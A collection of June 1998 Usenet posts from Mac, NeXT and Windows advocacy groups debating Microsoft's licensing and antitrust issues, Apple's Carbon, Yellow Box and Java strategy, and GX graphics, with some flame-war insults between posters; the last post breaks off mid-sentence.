Message-ID: <slrn6nrlp3.515.jason@jhste1.dyn.ml.org>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79>
Lawson English posted the following to comp.sys.mac.advocacy:
>mmalcolm crawford <malcolm@plsys.co.uk> said:
>Which of the above response[s] did these kids have?
Lawson, mmmmmalcolm lives in England. He's one of _those_ people.
Remember Golding's "Lord of the Flies"? He's English - they're
the best.
He's always right, even when he posts nonsense. So deal with it.
[non-advocacy group snipped]
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 01:25:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lkna9$bsi$1@nnrp1.dejanews.com>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com>
In article <SCOTT.98Jun8115024@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) wrote:
<snip>
>
> To bring the DR point specifically on target, Microsoft has always
> asserted that the DOS/Windows combination was unbreakable, and it was
> nonsense to even consider using something other than MSDOS under
> Windows (similar to the IE/Win98 argument). DRDOS has been
> demonstrated running Windows many times over the years (I believe in
> the last year under Windows95), but this never resulted in the
> partitioning of Windows/MSDOS into seperately purchasable parts. If
> you buy Windows, you get MSDOS, no choices.
This has been an interesting thread and I appologize for the intrusion, but...
It might be of interest that in 1994 this DRDOS vs MSDOS vs Windows was a hot
topic. You see in 1994, MSDOS and Windows (3.1) were two separate products.
People were claiming Microsoft was forcing OEMs to purchase MSDOS in order to
get the popular Windows. The makers of DRDOS were saying "All we need is a
level playing field, Microsoft should be prevented from tying licenses!"
(sound familiar?). My personal memory of the beginning of 1994 is something
like this...
- DRDOS was a very good OS for DOS only machines.
- MSDOS 6.22 biggest attraction was Doublespace (assumed "stolen" from Stac).
- The biggest attraction to Windows was Solitare.
- Networking computers usually meant Novell Netware
- Windows NT was considered to be a flop (too expensive and overhyped).
- Apple Users justly felt Mac's GUI was in every way superior to Windows.
- IBM's OS/2 Warp ran DOS better than Windows and was going to be very HOT!
- There were vague rumors about "Chicago" and "O'Hare" coming from Redmond.
Does this match your recollections?
In some ways, things have changed a lot in four years. In others, it is the
same old song. First of all, Microsoft agreed to all kinds of LICENSING
restrictions because it had already planned to turn its products into
Bloatware. Office, Visual Studio and, of course, Windows95 where combinations
of separate products bundled under one license. (Yes, Max (and others) THAT
is why the "develop integrated products" exception clause was added and MEANS
several bundled products under one license including MSDOS). Microsoft's
agreements kept the government off their backs during a crucial period of
transition.
I felt Microsoft took a BIG risk releasing Windows95 like they did. They
were telling their customers to change Operating Systems. Just what kept
these users from changing to MacOS or OS/2? Move Windows95 command bar to
the top of the screen and it looks and feels like a Mac (ok, almost like a
Mac). Apple made a half-hearted attempt to point this out, but it didn't
reach the common user. If Apple had dropped prices, blitzed the mass market
with advertising, there may have been more Wintel users converted to Macs
than the other way around. What about OS/2? OS/2 had a head start on getting
32 bit drivers running. IBM had the capital to go head-to-head against Bill's
"Start me Up" campaign.
I assume several of the newsgroup participants would point to this as "PROOF"
that Microsoft is too strong and must have done something illegal. Please
note, all of this happened AFTER Microsoft agreed to stop per-processor
licensing. I submit that licensing had little to do with what happened. Most
of it was the herd mentality of the mass market (the less tactful call
Microsoft users "sheep"), but Microsoft still gets alot of credit/blaim for
their packaging. Windows95 was popular because it was "bloatware". It
combined networking, GUI, doublespace, Internet Access, etc. into one
package.
People were hearing about how easy it was to get on the Internet with
Windows95.
Small Offices were learning that they could easily network computers together
without a server.
Windows95 was easier to use (almost as easy as a Mac).
I appologize for taking the long route to get back to the topic, but this
points out how the DRDOS situation was just overtaken by events. Could
Microsoft have separated MSDOS from Windows95? Probably, but why? The whole
purpose of Windows95 was to give users a complete, if somewhat mediocre,
software system. Is this anticompetitive? You bet it is. Is it illegal?
That is the big question.
It is my opinion that Microsoft was abiding by the Consent Agreement when it
combined MSDOS with Windows to form Windows95. If the DoJ even tries to
include MSDOS in its Consent Agreement case, it would be last nail in that
weak case's coffin. The DoJ, and even Caldera, will have a hard time
explaining why the "developing integrated products" exception clause was
added if it doesn't apply to MSDOS and Windows.
So, we are back to antitrust. I find it difficult to believe that it was
illegal for Microsoft to agressively compete against IBM's OS/2 in 1994.
OS/2 was a complete operating system. Microsoft had to release an operating
system that was just as complete, if not more so (at least on the surface).
The DoJ said it could not find sufficent proof of illegal "tying" in 1994 to
bring an antitrust case then. It is interesting that bundling software is
now being questioned as a possible "tying" violation. I am morbidly
fascinated by people, who should know better, seeing nothing dangerous
about the current transformations of software's legal definition and status.
This WILL effect more than just companies with 90% of the market.
Provoking Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 01:24:36 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3593b58e.6907171@news.supernews.com>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <35ac3fa0.4715635@news.supernews.com> <6lhp4g$2jua@yuma.ACNS.ColoState.EDU>
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pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt), on 8 Jun 1998 22:38:08
GMT,
>In article <35ac3fa0.4715635@news.supernews.com>,
> mdevlin@eltrax.com (T. Max Devlin) writes:
>
>A very nice analysis. Thank you for clearing it up for me.
My pleasure. Thanks for your time.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 9 Jun 1998 22:38:01 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lkri9$dj5$1@crib.corepower.com>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org> <6livgp$9m9$2@ns3.vrx.net> <6lkmp9$bjf$1@supernews.com>
In article <6lkmp9$bjf$1@supernews.com>, jcr.remove@this.phrase.idiom.com wrote:
> Actually, when it comes to the core OS, Linux isn't too shabby. It's already
> the most securable UNIX there is,
I think that OpenBSD would likely give Linux quite a run for its money in
the security area. It's been through an extensive professional security
audit. (Rumor has it that Apple may be adapting OpenBSD userland aspects
for their security aspects.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <357df93e.0@206.25.228.5>
Date: 10 Jun 98 03:10:54 GMT
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Kheit and Urban's responses to my recent post convince me of
> this. We find them to be assholes because they're "almost always
> right"? Please. These people....
Yep, that's right. Oh, and don't forget your inferiority complex
that compels your drivel.
Again, I'd ask you *not* to lump me with other NeXT users/developers.
I do not have their technical background, nor the maturity they
possess. Lumping me in with the rest of the NeXT community does
a disservice to that community, which is composited by a profoundly
more amicable group of folks. I am, thankfully, quite the exception
in the NeXT camp; which is essentially a very nice, knowledgeable,
and helpful group. One from which I've greatly benefited.
However, unlike them, I take great relish in pointing out just how
sniveling a pisshole you and your BOZO brethren are, and poking
the proverbial stick in your sore wounds.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 21:29:38 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-0906982129390001@mv085.axom.com>
References: <rmcassid-0906980856340001@dante.eng.uci.edu> <B1A2B1F6-5402D@206.165.43.26>
In article <B1A2B1F6-5402D@206.165.43.26>, "Lawson English"
<english@primenet.com> wrote:
>That was part of the deal with MS: make Apple's OS strategy so unreliable
>that everyone decides to move to NT, instead. The plan is for Apple to
>become the supplier of a highly sophisticated development framework for NT
>and abandon the hardware and OS business entirely.
>
>It's the only scenario that makes sense of Jobs' recent actions.
You're fogetting again the age-old mantra:
Never ascribe to malice what stupidity can explain.
Even now, it's a big stretch to count on Apple to have a uniform coherent
answer to things, which your theory is. Apple's made some great strides
in the last year or so, but let's face, all the oars aren't touching the
water.
--
Ted Brown tbrown@netset.com
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 20:30:30 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <357DE1B6.5986@CONVEX.COM>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <357DA1EF.3BF4863A@nstar.net> <rmcassid-0906981430270001@dante.eng.uci.edu> <357DB214.61F68493@nstar.net> <rmcassid-0906981542070001@dante.eng.uci.edu>
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Robert Cassidy wrote:
[cut]
> Why odd? Wouldn't any work now to further entrench MacOS developers in the
> Carbon APIs be work against it's efforts down the road?
>
> I mean, here Apple has such great frameworks to deal with like EOF and WO,
> and then potentially not give access to an _authentication_ API - or an
> encryption one!? I don't get it. I'm having such a hard time accepting
> that Apple could do such a thing, yet I find no real suggestion that I am
> wrong.
I just said this off of the top of my head, but for a number of reasons,
any number of which might be valid or completely loony:
1) Integrating new APIs with the existing Objective C codebase seems a
trifle messy
2) If, indeed, the new APIs are temporary (I mentioned the example of
QDe), there is little reason to fit them into the stable Concert
libraries
3) The new APIs generally appear to be Macintosh-specific; I might be
wrong, but the focus appears to have shifted away from
platform-neutrality toward something more Mac-centric
4) Apple doesn't have time to build the new APIs into the existing
Concert framework
5) If Apple is introducing new APIs for the sole purpose of appeasing
mainstream vendors, and Concert is the eventual goal, integrating
Concert and Carbon in anything more than a nominal way would be
counterproductive and jeopardize Concert altogether
6) Concert and Carbon have almost nothing in common
Carbon strikes me as a minor update to the Toolbox, intended for
throwaway when it has served its purpose. The other ancillary APIs, with
the exceptions of those slated for QTML, similarly appear to me to be
temporary.
> Lack of grace and polish very nearly defines why Windows is not enjoyable.
> From a design and UI point of view, it is an abomination. Sure there is
> some good in there, but it is in such small quantity compared to what is
> bad.
I really don't think that's a fair characterization. Without stepping
too much into the realm of subjectivity, I think it should be noted that
Win32 provides a stable and familiar UI that stands head-and-shoulders
above nearly anything else (excepting MacOS and NeXTstep from the
argument). There really is very little difference between Win32 and
MacOS at this point, from all objective standpoints.
If Java provides Windows-like polish, it has accomplished no small
thing. You'd be surprised how far it is from ground zero (if you play
with any GUIs that *truly* suck, you'll appreciate Windows considerably
more, I assure you).
We should be certain we are talking about the same things, as well: Java
doesn't really provide a GUI; it provides a widget toolkit (in the form
of AWT). If Java can provide a widget toolkit on the level of Win32's, I
don't see how it would really be that different from MacOS's or
NeXTstep's, anyway.
From a development standpoint, Java is object-oriented. That, in itself,
is enough to recommend it above MacOS in terms of 'grace'.
> Surely if I had to fully transition to either of Redmond's OSs as they
> stand now, I'd probably work very hard to minimize my exposure to
> computing - they are _that_ irritating to my tastes. Where's John Kheit -
> surely he understands me! :-)
Like I said, we're not really discussing Java as an OS. You'll be using
*some* OS or another, regardless of how Java turns out.
> And to use Windows as the standard to which Java aspires is not very
> reassuring. I do recognize the realities of the marketplace, but I can't
> say that I'm in any way dealing well with the devolution of the industry.
Oh well. It doesn't seem so bad when you get used to it. It's easier to
overlook the faults than you might think. 'Active Desktop' is an
exception, but as soon as I've finished grinding my teeth to the gums,
I'll feel better about that, too.
MJP
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 19:47:51 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-0906981947510001@user-38ld6dj.dialup.mindspring.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu>
In article <rmcassid-0906980844350001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
>
> Well, anything based on the Mac Toolbox will *not* have anything that the
> Next community would consider to be good architectural design, unless
> Apple does some *serious* reworking there. And that undermines the purpose
> of Carbon. No, Carbon *should* be some sort of Jurassic Park experiment
> gone well. Brought forward in time as a convenience and novelty, but not
> with the intention of further evolution.
>
Its really up to developers. If developers run out and adopt AppKit in
massive droves, then maybe Carbon will be a "Jurrassic Park". If
developers tell us to keep developing Carbon, then we will.
-mark
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <1998061000425800.UAA08359@ladder03.news.aol.com>
Date: 10 Jun 1998 00:42:58 GMT
Organization: AOL http://www.aol.com
References: <rmcassid-0906981542070001@dante.eng.uci.edu>
Bob Cassidy said:
>Lack of grace and polish very nearly defines why Windows is not enjoyable.
>Surely if I had to fully transition to either of Redmond's OSs as they
>stand now, I'd probably work very hard to minimize my exposure to
>computing - they are _that_ irritating to my tastes. Where's John Kheit -
>surely he understands me! :-)
I've been working very hard to move off of Windows and onto my Cube for as much
work as possible. Now that I have an ISP account, I'm very much looking forward
to getting e-mail, newsreading and web browsing set up on my NeXT.
It's really incredible that the utility programs for Windows are so blind to
its flaws. I rather miss the days of Windows 3.1 and programs like SideBar and
HP's NewWave.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Rock City
Date: Tue, 09 Jun 1998 20:16:35 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <357DDE73.1ED3@CONVEX.COM>
Mime-Version: 1.0
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I thought NeXT advocates would be interested to see that someone seems
to have resurrected the Cube, if only aesthetically. The link below goes
to Rock City (link found on Slashdot.org). Even the flat-panel display
they show looks like the MegaPixel display.
Plus, it looks like you get free chicks with the computer. All in all, a
pretty good bargain.
http://www.rockcity.net
MJP
From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 23:47:14 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-0906982347150001@sea-ts8-p25.wolfenet.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com> <rmcassid-0906980844350001@dante.eng.uci.edu> <slrn6nr1n9.ntc.ben@ben.tapehouse.net> <slrn6nr3i3.1po.sal@panix3.panix.com>
In article <slrn6nr3i3.1po.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
: On 9 Jun 1998 19:00:09 GMT, Ben Rosengart <ben@ben.tapehouse.net> wrote:
: >Is there Apple hardware that will run Rhapsody but not MacOS X? If so,
: >are you familiar with the technical reasons?
:
: Apple has pnly commited to providing MacOSX on Apple g3 machines. They
: have not commited to providing it on 7[3,5,6]00 or 8[5,6]00 machines. They
: have not commited to providing it on Intel based machines.
:
Huh? According to Apple's press release, MacOSX is *optimized* for G3's.
No mention was made about orphaning other PowerPC machines.
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 12:25:04 GMT
Organization: gte.net
Message-ID: <6lltje$sj6$1@gte1.gte.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <6ljrhq$970@newsb.netnews.att.com>
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On 9 Jun 1998 17:31:38 GMT, someone claiming to be
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>John Saunders <jws@jws.ultranet.com> wrote:
>>So, while I would be glad some day to discuss any proof you may have about
>>MS applications developers getting special help from the OS group, that's
>>not what we were discussing in this thread. Perhaps you'd like to start
>>another topic?
>http://www.dap.csiro.au/Interest/LA-Law.html
And this demonstrates MS Apps folk getting special help from the OS
folk how?
>http://www.cdc.net/~dmitri/pointers.html
And this demonstrates MS Apps folk getting special help from the OS
folk how?
>http://www.ntug.org.uk/archive/ntdev/00000737.htm
>I can't let this one go. I have been working with Windows NT since the
>first CD's were made available to developers and the thing that nags
>at me, and continues to do so, is the difference between requests
>like this - not to use undocumented API's (which I fully agree with
>BTW - the same thing is a problem with people who use the commercial code
>that I produce) and the actual fact that Microsoft *applications* code
>use the same undocumented interfaces that their OS people are telling
>developers not to use.
>
>There are many examples of this, but the two I have most experience with
>are
>
>(1). MS SQL Server allowed integrated logins with the NT security
>system for about a *YEAR* before this functionality was finally made
>public (in a limited way) in NT 3.51. My code needed to do the same
>and this caused massive effort in trying to reverse-engineer the
>mechanism - eventually this feature had to be disabled in our product
>as we were unwilling to use features that could potentially change.
>A good decision you may argue (and now I agree) but the fact was
>man-months of wasted effort.
>
>(2). The over-the-wire password authentication used in RAS, SMB
>server code etc. This is supposed to be published in an X/Open
>document (I have the part number and document - just not at hand).
>The published specification for the over the wire encryption IS JUST
>PLAIN WRONG. I am one of the developers of Samba - a GNU GPL'ed
>Lanman server for unix systems. Microsoft eventually made this
>information available to the Samba developers - but again this took
>over 8 months (I have email correspondance going back that long on
>the matter). BTW, kudos should go to Microsoft for helping the
>Samba developers overall - other than this problem their support for
>the Samba software has been superb.
Okay. Two examples. In how many years? The fact remains that these
are the exception, not the rule.
>https://www.micromail.ie/titles/7352.html
And this demonstrates MS Apps folk getting special help from the OS
folk how?
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 12:25:05 GMT
Organization: gte.net
Message-ID: <6lltjf$sj6$2@gte1.gte.net>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6kai2u$89m$1@gte2.gte.net> <ericb-2605981515000001@132.236.171.104> <6kkga7$e0l$10@gte2.gte.net> <6ljt0e$99n@newsb.netnews.att.com>
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On 9 Jun 1998 17:56:30 GMT, someone claiming to be
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>In article <6kkga7$e0l$10@gte2.gte.net>, Roger <rfelts@.> wrote:
>>On Tue, 26 May 1998 15:15:00 -0400, someone claiming to be Eric
>>Bennett wrote:
>>>The author says that Microsoft execs admit it:
>>My point exactly. The author says. More assertion. Did he write
>>"Steve Ballmer, in a speech to industry insiders on the eve of
>>Comdex..."
>>
>>No.
>>
>>Exactly where and when was this admission made?
>Here is an independent quote of the same thing :
>
>PC Magazine, April 25, 1995, v14 n8 p75(2)
>Author Miller, Micheal J.
>
>Quote :
>Do Microsoft applications have an unfair advantage because their
>creators have insider knowledge of the operating system ?
>Microsoft raised the question itself a few years back by
>implying that there was a "Chinese wall" separating the company's
>operating systems group and applications group, then later
>reversing itself ans saying that there was no such wall.
>End quote.
Not the same thing as MS execs admitting that the Apps folk regularly
get special help from the OS folk.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
Date: Wed, 10 Jun 1998 09:24:47 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1006980924480001@mac49-38.psychology.dal.ca>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <rmcassid-0906981511310001@dante.eng.uci.edu> <slrn6ns2jt.qvl.sal@panix3.panix.com> <rmcassid-1006980015520001@dialin9155.slip.uci.edu>
In article <rmcassid-1006980015520001@dialin9155.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <slrn6ns2jt.qvl.sal@panix3.panix.com>, sal@panix3.panix.com
> (Salvatore Denaro) wrote:
>
> > Why not? Why shouldn't my cuisinart have it's own IP addr? :)
>
> A must. How else can you tell it to start working on that daquiry so it'll
> be ready when you get home from work!
These sounds funny but the major communications companies are all
working on it (not IP but wireless comminications).
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Jun 1998 12:22:04 GMT
Organization: P & L Systems
Message-ID: <6lltpc$m9t$7@ironhorse.plsys.co.uk>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
<357C5D13.B2FEFA62@bcomp.com> <6litsc$37f$1@sun27.hrz.tu-darmstadt.de>
<heksterb-0906981229210001@ben-linux.releasesoft.com>
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Cc: heksterb@odyssey.co.il
NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <heksterb-0906981229210001@ben-linux.releasesoft.com> Ben Hekster wrote:
> In article <6litsc$37f$1@sun27.hrz.tu-darmstadt.de>,
> neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> > Well, I wouldn't at all be surprised if "Lawson English" turned out to
> > be a heuristic algorithm, [...]
>
> That's a bit unfair-- I think Lawson is raising some very valid points
> that merit at least consideration.
>
Oh, absolutely. I certainly won't try to suggest that he is always wrong, or
that he never has anything interesting to say, since neither would be true.
Furthermore...
> Although I never got very far into GX,
> it does seem like an intriguingly well-designed 2D graphics library, and I
> for one welcome some serious discussion of its strengths and weaknesses.
> Methinks that GX's and Lawson's detractors doth oft protest too much.
>
.. through some of the serious discussions he has helped to educate both
myself and I'm sure others about various aspects of graphics and imaging
systems.
The thing is, that was all about a year ago. Since then the "discussion" has
gone on and on. And on. And on, and on. And eventually it gets to the
stage when folks get irritated -- especially when he makes claims about other
systems which are simply Not True (cf recently for example including
printer-specific features in the Print Panel) -- and then eventually we get
to this stage where we're explaining why we're irritated instead of doing
something more constructive which will advance the Macintosh platform, such
as explaining OOP using Objective-C to a newcomer.
If Lawson would kindly, as he has been asked on many occasions, simply leave
comp.sys.next.advocacy out of the "Groups" line of his (GX-related) posts we
could get on with things more pleasant and more useful.
Best wishes,
mmalc.
[BTW: "doth" is 3rd person singular only, so it should be "do" protest too
much. A shame really.]
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 10 Jun 1998 09:48:58 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu>
In article <rmcassid-0806981539290001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> There seems to be three plans (YB, Java, & Carbon), not all of which are
> in sync with one another. Normally, that wouldn't bother me. But with
> Apple's willingness to tear-down and build-up things right now, the fact
> that they are out of sync with their API plans is causing some internal
> conflict in my brain.
Java and YB aren't really different. Apple wants to make Java the
language of YB. Therefore, there is only YB and Carbon. Both have been
publicly committed too in the last week or so. Specifically it has been
stated that cross platform development will continue for YB.
> Q) Apple is engaging in development of new APIs. Are they Carbon APIs? Are
> they YB? Are they both?
They are doing some of both.
> If they are both, how you do provide the kind of
> OO support that YB developers demand, and still make them familiar in
> structure to Carbon developers? Doesn't that amount to a lot of duplicate
> effort?
Yes it does. However, it is necessary. Apple has not been successful
at convincing the big names to write for YB. Therfore, a complete set of
tools for developing apps on the new OS that eases the transition pain is
necessary. Enter Carbon. In addition, Adobe decided not to give away DPS
for nothing so Apple needed a new imaging model. Enter the bulk of new
APIs for Carbon (along with replacements for some of the dropped ones like
Standard File). YB will need to run on this new imaging model (whether it
accesses through Carbon or goes straight to the draw code is unclear).
> In effect this does boil down to the fact that Carbon/Java/Obj-C attracts
> different breeds of developers, but the strategy that is currently
> outlined seems to isolate those developers from one another, thereby
> dramatically diluting whatever they give back to the community. YB
> developers work in a considerably different structure than Carbon
> developers can take advantage of, and contributions by Carbon developers
